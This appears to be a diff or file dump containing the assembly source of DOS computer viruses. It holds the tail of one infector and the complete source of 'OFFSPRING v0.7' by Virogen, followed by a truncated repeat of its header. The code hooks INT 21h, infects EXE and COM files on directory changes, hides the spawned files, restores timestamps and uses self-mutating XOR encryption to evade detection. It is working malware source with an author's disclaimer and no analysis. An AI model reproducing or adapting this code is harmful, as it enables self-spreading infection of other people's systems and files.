ret
|
||||
|
||||
no_install:
|
||||
ret
|
||||
Install Endp
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov ax,ds ; Calculate segment of MCB
|
||||
dec ax ;
|
||||
mov ds,ax ;
|
||||
mov ds: [0001],word 0008h ; Mark DOS as the owner- so some
|
||||
; utilities won't id the file the virus
|
||||
; loaded from.
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend ;
|
||||
lea di, vend+2 ;
|
||||
mov cx,22 ;
|
||||
cld ;
|
||||
rep movsw ;
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
|
||||
|
||||
|
||||
; Find first .EXE file
|
||||
mov ah, 4eh
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
lea dx, fname
|
||||
int 21h
|
||||
|
||||
jnc next_loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
|
||||
mov file_dir,0
|
||||
lea si,file_dir
|
||||
lea di,file_dir+1
|
||||
mov cx,77
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0
|
||||
jne find_file
|
||||
|
||||
xor bx,bx
|
||||
lm3 :
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\'
|
||||
inc bx
|
||||
|
||||
mov cx,13
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me:
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
call write_file ; Write virus to file
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jnc next_loop
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
ret
|
||||
resident endp
|
||||
|
||||
;------------------------------------------------
|
||||
; Write file procedure - Creates the file, writes the file, closes the file
|
||||
;-----------------------------------------------
|
||||
write_file proc
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jc no_infect ; If Error-probably already infected
|
||||
|
||||
mov bx,ax
|
||||
push dx
|
||||
|
||||
|
||||
call copy_mem ; copy virus just outside of code
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock
|
||||
lea di,vend+enc_data-204 ; offset of new copy of virus
|
||||
|
||||
mov [di-2],dx ; save encryption #
|
||||
|
||||
push bx
|
||||
call encrypt ; writing it to a file
|
||||
pop bx
|
||||
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
pop dx
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
no_infect:
|
||||
ret ; Return
|
||||
write_file endp
|
||||
|
||||
;------------------------------------------------
|
||||
; Copies virus outside of code, to encrypt
|
||||
;------------------------------------------------
|
||||
copy_mem proc
|
||||
|
||||
|
||||
mov si,0100h ; si=0
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
ret
|
||||
copy_mem endp
|
||||
|
||||
|
||||
end_encrypt dw 0000h ; Let's encrypt everything up to here
|
||||
|
||||
;------------------------------------------------
|
||||
; Encrypt
|
||||
;
|
||||
; Call with
|
||||
; di=offset of encrypted/decrypted data
|
||||
; dx=XOR value
|
||||
;
|
||||
; - First word to encrypt must be a free word.
|
||||
; This word will be used as the encryption base. Every time the virus
|
||||
; is encrypted a random number will be saved here.
|
||||
;
|
||||
;-----------------------------------------------
|
||||
|
||||
encrypt proc
|
||||
|
||||
mov cx,(offset end_encrypt - offset enc_data)/2
|
||||
E2:
|
||||
xor [di],dx ; Xor each word by dx
|
||||
inc di
|
||||
inc di ; increment index
|
||||
loop E2 ; loop while cx != 0
|
||||
|
||||
ret
|
||||
|
||||
encrypt endp
|
||||
|
||||
|
||||
|
||||
vend dw 0
|
||||
|
||||
cseg ends
|
||||
end start
|
|
@ -0,0 +1,714 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
|
@ -0,0 +1,714 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
